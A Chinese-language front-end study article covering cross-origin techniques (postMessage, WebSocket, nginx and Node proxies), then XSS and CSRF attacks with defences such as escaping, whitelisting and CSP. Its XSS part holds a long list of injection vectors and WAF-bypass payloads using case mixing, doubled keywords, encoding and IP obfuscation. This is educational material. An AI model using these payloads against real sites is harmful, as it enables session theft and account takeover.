    用法:postMessage(data,origin)方法接受两个参数

    • data: html5规范支持任意基本类型或可复制的对象,但部分浏览器只支持字符串,所以传参时最好用JSON.stringify()序列化。
    • origin: 协议+主机+端口号,也可以设置为"*",表示可以传递给任意窗口,如果要指定和当前窗口同源的话设置为"/"。

    1.)a.html:(www.domain1.com/a.html)

    <iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
    <script>
        var iframe = document.getElementById('iframe');
        iframe.onload = function() {
            var data = {
                name: 'aym'
            };
            // 向domain2传送跨域数据
            iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.domain2.com');
        };
    
        // 接受domain2返回数据
        window.addEventListener('message', function(e) {
            alert('data from domain2 ---> ' + e.data);
        }, false);
    </script>
    

    2.)b.html:(www.domain2.com/b.html)

    <script>
        // 接收domain1的数据
        window.addEventListener('message', function(e) {
            alert('data from domain1 ---> ' + e.data);
    
            var data = JSON.parse(e.data);
            if (data) {
                data.number = 16;
    
                // 处理后再发回domain1
                window.parent.postMessage(JSON.stringify(data), 'http://www.domain1.com');
            }
        }, false);
    </script>
    

    WebSocket 跨域通信

    var ws = new WebSocket('wss://echo.websoket.org') //这个是后端端口
    
    ws.onopen = function(evt) {
      ws.send('some message')
    }
    
    ws.onmessage = function (evt) {
      console.log(evt.data);
    }
    
    ws.onclose = function(evt){
      console.log('连接关闭');
    }
    

    nginx代理跨域

    • nginx配置解决iconfont跨域

    浏览器跨域访问js、css、img等常规静态资源被同源策略许可,但iconfont字体文件(eot|otf|ttf|woff|svg)例外,此时可在nginx的静态资源服务器中加入以下配置。 location / { add_header Access-Control-Allow-Origin *; }

    • nginx反向代理接口跨域

    跨域原理: 同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就不存在跨越问题。 实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。 nginx具体配置: ``` #proxy服务器 server { listen 81; server_name www.domain1.com;

        location / {
            proxy_pass   http://www.domain2.com:8080;  #反向代理
            proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名
            index  index.html index.htm;
    
            # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用
            add_header Access-Control-Allow-Origin http://www.domain1.com;  #当前端只跨域不带cookie时,可为*
            add_header Access-Control-Allow-Credentials true;
        }
    }
    ```
    
    • 前端代码示例:
      var xhr = new XMLHttpRequest();
      
      // 前端开关:浏览器是否读写cookie
      xhr.withCredentials = true;
      
      // 访问nginx中的代理服务器
      xhr.open('get', 'http://www.domain1.com:81/?user=admin', true);
      xhr.send();
      2.) Nodejs后台示例:
      var http = require('http');
      var server = http.createServer();
      var qs = require('querystring');
      
      server.on('request', function(req, res) {
          var params = qs.parse(req.url.substring(2));
      
          // 向前台写cookie
          res.writeHead(200, {
              'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly'   // HttpOnly:脚本无法读取
          });
      
          res.write(JSON.stringify(params));
          res.end();
      });
      
      server.listen('8080');
      console.log('Server is running at port 8080...');
      

    Nodejs中间件代理跨域

    node中间件实现跨域代理,原理大致与nginx相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置cookieDomainRewrite参数修改响应头中cookie中域名,实现当前域的cookie写入,方便接口登录认证。

    非vue框架的跨域(2次跨域)

    利用node + express + http-proxy-middleware搭建一个proxy服务器。 1.)前端代码示例:

    var xhr = new XMLHttpRequest();
    
    // 前端开关:浏览器是否读写cookie
    xhr.withCredentials = true;
    
    // 访问http-proxy-middleware代理服务器
    xhr.open('get', 'http://www.domain1.com:3000/login?user=admin', true);
    xhr.send();
    2.)中间件服务器:
    var express = require('express');
    var proxy = require('http-proxy-middleware');
    var app = express();
    
    app.use('/', proxy({
        // 代理跨域目标接口
        target: 'http://www.domain2.com:8080',
        changeOrigin: true,
    
        // 修改响应头信息,实现跨域并允许带cookie
        onProxyRes: function(proxyRes, req, res) {
            res.header('Access-Control-Allow-Origin', 'http://www.domain1.com');
            res.header('Access-Control-Allow-Credentials', 'true');
        },
    
        // 修改响应信息中的cookie域名
        cookieDomainRewrite: 'www.domain1.com'  // 可以为false,表示不修改
    }));
    
    app.listen(3000);
    console.log('Proxy server is listen at port 3000...');
    

    XSS

    XSS ( Cross Site Scripting ) 是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

    从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

    XSS攻击的危害包括:

    1. 获取页面数据
    2. 获取cookie
    3. 劫持前端逻辑
    4. 发送请求
    5. 偷取网站任意数据
    6. 偷取用户资料
    7. 偷取用户密码和登陆态
    8. 欺骗用户

    XSS攻击分类

    反射型

    通过url参数直接注入。

    发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务端解析后返回,XSS代码随响应内容一起传回给浏览器,最后浏览器执行XSS代码。这个过程像一次反射,故叫做反射型XSS

    举个例子

    一个链接,里面的query字段中包含一个script标签,这个标签的src就是恶意代码,用户点击了这个链接后会先向服务器发送请求,服务器返回时也携带了这个XSS代码,然后浏览器将查询的结果写入Html,这时恶意代码就被执行了。

    并不是在url中没有包含script标签的网址都是安全的,可以使用短网址来让网址变得很短。

    存储型

    存储型XSS会被保存到数据库,在其他用户访问(前端)到这条数据时,这个代码会在访问用户的浏览器端执行。

    举个例子

    比如攻击者在一篇文章的评论中写入了script标签,这个评论被保存数据库,当其他用户看到这篇文章时就会执行这个脚本。

    XSS攻击注入点

    • HTML节点内容
      • 如果一个节点内容是动态生成的,而这个内容中包含用户输入。
    • HTML属性
      • 某些节点属性值是由用户输入的内容生成的。那么可能会被封闭标签后添加script标签。
    <img src="${image}"/>
    <img src="1" onerror="alert(1)" />
    
    • Javascript代码
      • JS中包含由后台注入的变量或用户输入的信息。
    var data = "#{data}";
    var data = "hello"; alert(1);"";
    
    • 富文本

    XSS 防御

    对于 XSS 攻击来说,通常有两种方式可以用来防御。

    • 转义字符
    • CSP 内容安全策略

    转义字符

    • 普通的输入 - 编码

      • 对用户输入数据进行HTML Entity编码(使用转义字符)
      • "
      • &
      • <
      • >
      • 空格
    • 富文本 - 过滤(黑名单、白名单)

      • 移除上传的DOM属性,如onerror
      • 移除用户上传的style节点、script节点、iframe节点等
    • 较正

      • 避免直接对HTML Entity解码
      • 使用DOM Parse转换,校正不配对的DOM标签和属性

    对于会在DOM中出现的字符串(用户数据):

    < 转义为 \&lt;

    > 转义为 \&gt;

    对于可能出现在DOM元素属性上的数据

    • " 转义为 \&quot;

    • ' 转义为 \&9039;

    • 空格转义为 &nbsp; 但这可能造成多个连续的空格,也可以不对空格转义,但是一定要为属性加双引号

    • & 这个字符如果要转义,那么一定要放在转移函数的第一个来做

    避免JS中的插入

    var data = "#{data}";
    var data = "hello"; alert(1);"";
    

    因为是用引号将变量包裹起来的,而且被攻击也因为引号被提前结束,所以要做的就是将引号转义

    先 \\ -> \\\\
    再 " -> \\"
    

    富文本

    按照黑名单过滤: script

    但是html标签中能执行html代码的属性太多了,比如onclick, onhover,onerror, <a href="javascript:alert(1)">

    function xssFilter = function (html) {
      html = html.replace(/<\s*\/?script\s*>/g, '');
      html = html.replace(/javascript:[^'"]/g, '');
      html = html.replace(/onerror\s*=\s*['"]?[^'"]*['"]?/g, '');
      //....
      return html;
    }
    

    按照白名单过滤: 只允许某些标签和属性存在

    做法:将HTML解析成树状结构,对于这个DOM树,一个一个的去看是否存在合法的标签和属性,如果不是就去掉。

    使用cheerio就可以快速的解析DOM

    function xssFilter (html) {
    
      const cheerio = require('cheerio');
      const $ = cheerio.load(html);
    
      //白名单
      const whiteList = {'img': ['src']}
    
      $('*').each((index, elem) => {
        if(!whiteList[elem.name]) {
          $(elem).remove();
          return;
        }
        for(let attr in elem.attribs) {
          if(whiteList[elem.name].indexOf(attr) === -1) {
            $(elem).attr(attr, null);
          }
        }
      })
      return html;
    }
    

    使用npm包来简化操作

    xss文档

    CSP 内容安全策略

    CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

    通常可以通过两种方式来开启 CSP:

    • 设置 HTTP Header 中的 Content-Security-Policy
    • 设置 meta 标签的方式 <meta http-equiv="Content-Security-Policy">

    以设置 HTTP Header 来举例

    • 只允许加载本站资源
    Content-Security-Policy: default-src ‘self’
    
    • 图片只允许加载 HTTPS 协议
    Content-Security-Policy: img-src https://*
    
    • 允许加载任何来源框架
    Content-Security-Policy: child-src 'none'
    

    CSP ( Content Security Policy )

    XSS注入方法

    参考链接:https://xz.aliyun.com/t/4067

    <script>

    <script>alert("xss");</script>
    

    <img>

    <img src=1 onerror=alert("xss");>
    

    <input>

    <input onfocus="alert('xss');">
    
    竞争焦点,从而触发onblur事件
    <input onblur=alert("xss") autofocus><input autofocus>
    
    通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
    <input onfocus="alert('xss');" autofocus>
    

    <details>

    <details ontoggle="alert('xss');">
    
    使用open属性触发ontoggle事件,无需用户去触发
    <details open ontoggle="alert('xss');">
    

    <svg>

    <svg onload=alert("xss");>
    

    <select>

    <select onfocus=alert(1)></select>
    
    通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
    <select onfocus=alert(1) autofocus>
    

    <iframe>

    <iframe onload=alert("xss");></iframe>
    

    <video>

    <video><source onerror="alert(1)">
    

    <audio>

    <audio src=x  onerror=alert("xss");>
    

    <body>

    <body/onload=alert("xss");>
    

    利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发

    <body
    onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
    

    <textarea>

    <textarea onfocus=alert("xss"); autofocus>
    

    <keygen>

    <keygen autofocus onfocus=alert(1)> //仅限火狐
    

    <marquee>

    <marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
    

    <isindex>

    <isindex type=image src=1 onerror=alert("xss")>//仅限于IE
    

    利用link远程包含js文件

    PS:在无CSP的情况下才可以

    <link rel=import href="http://127.0.0.1/1.js">
    

    javascript伪协议

    <a>标签

    <a href="javascript:alert(`xss`);">xss</a>
    

    <iframe>标签

    <iframe src=javascript:alert('xss');></iframe>
    

    <img>标签

    <img src=javascript:alert('xss')>//IE7以下
    

    <form>标签

    <form action="Javascript:alert(1)"><input type=submit>
    

    其它

    expression属性

    <img style="xss:expression(alert('xss''))"> // IE7以下
    <div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
    

    background属性

    <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
    

    有过滤的情况下

    过滤空格

    /代替空格

    <img/src="x"/onerror=alert("xss");>

    过滤关键字

    大小写绕过

    <ImG sRc=x onerRor=alert("xss");>

    双写关键字

    有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

    <imimgg srsrcc=x onerror=alert("xss");>

    字符拼接

    利用eval

    <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

    利用top

    <script>top["al"+"ert"](`xss`);</script>
    

    其它字符混淆

    有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
    下面举几个简单的例子

    可利用注释、标签的优先级等
    1.<<script>alert("xss");//<</script>
    2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
    3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
    

    编码绕过

    Unicode编码绕过

    <img src="x" onerror="alert("xss");">

    <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

    url编码绕过

    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

    <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
    

    Ascii码绕过

    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

    hex绕过

    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
    

    八进制

    <img src=x onerror=alert('\170\163\163')>
    

    base64绕过

    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
    
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    

    过滤双引号,单引号

    1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

    <img src="x" onerror=alert(`xss`);>
    

    2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了

    过滤括号

    当括号被过滤的时候可以使用throw来绕过

    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
    

    过滤url地址

    使用url编码

    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
    

    使用IP

    1.十进制IP

    <img src="x" onerror=document.location=`http://2130706433/`>
    

    2.八进制IP

    <img src="x" onerror=document.location=`http://0177.0.0.01/`>
    

    3.hex

    <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
    

    4.html标签中用//可以代替http://

    <img src="x" onerror=document.location=`//www.baidu.com`>
    

    CSRF

    打开同一浏览器时其他的网站对本网站造成的影响。原理就是攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑。

    举个例子,用户同时打开了A网站和钓鱼网站。 假设A网站中有一个通过 GET 请求提交用户评论的接口,那么攻击者就可以在钓鱼网站中加入一个图片,图片的地址就是评论接口。

    <img src="http://www.domain.com/xxx?comment='attack'"/>
    

    CSRF攻击原理

    1. 用户登录A网站
    2. A网站确认身份(给客户端cookie)
    3. B网站页面向A网站发起请求(带上A网站身份)

    CSRF防御

    1. Get 请求不对数据进行修改
    2. 不让第三方网站访问到用户 Cookie
    3. 阻止第三方网站请求接口
    4. 请求时附带验证信息,比如验证码或者 Token
    • SameSite
      • 可以对 Cookie 设置 SameSite 属性。该属性表示 Cookie 不随着跨域请求发送,可以很大程度减少 CSRF 的攻击,但是该属性目前并不是所有浏览器都兼容。
    • Token验证
      • cookie是发送时自动带上的,而不会主动带上Token,所以在每次发送时主动发送Token
    • Referer验证
      • 对于需要防范 CSRF 的请求,我们可以通过验证 Referer 来判断该请求是否为第三方网站发起的。
    • 隐藏令牌
      • 主动在HTTP头部中添加令牌信息

    禁止第三方网站带cookies

    same-site属性。 设置只有同一站点的请求才能携带cookie

    CSRF蠕虫

    如果某个用户打开了被攻击网页,并且用户同时访问了攻击者的网页。 那么攻击者的网页就会使用用户的身份发送一些请求,并且常用用户的身份发布一些评论或文章,里面包含攻击者的网页链接。如果其他用户看到了这个用户的这条评论,都甚至可以不点击,其他用户也会被盗用身份发送一些恶意请求。这样病毒的传播就会越来越快,影响越来越大。

    CSRF攻击危害

    • 利用用户登录态
    • 用户不知情
    • 完成业务请求
    • 盗取用户资金
    • 冒充用户发帖背锅
    • 损坏网站名誉

    最后

    行文至此,感谢阅读,一键三连是对我最大的支持


    起源地下载网 » JavaScript核心知识总结(下)

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    模板不会安装或需要功能定制以及二次开发?
    请QQ联系我们

    发表评论

    还没有评论,快来抢沙发吧!

    如需帝国cms功能定制以及二次开发请联系我们

    联系作者

    请选择支付方式

    ×
    迅虎支付宝
    迅虎微信
    支付宝当面付
    余额支付
    ×
    微信扫码支付 0 元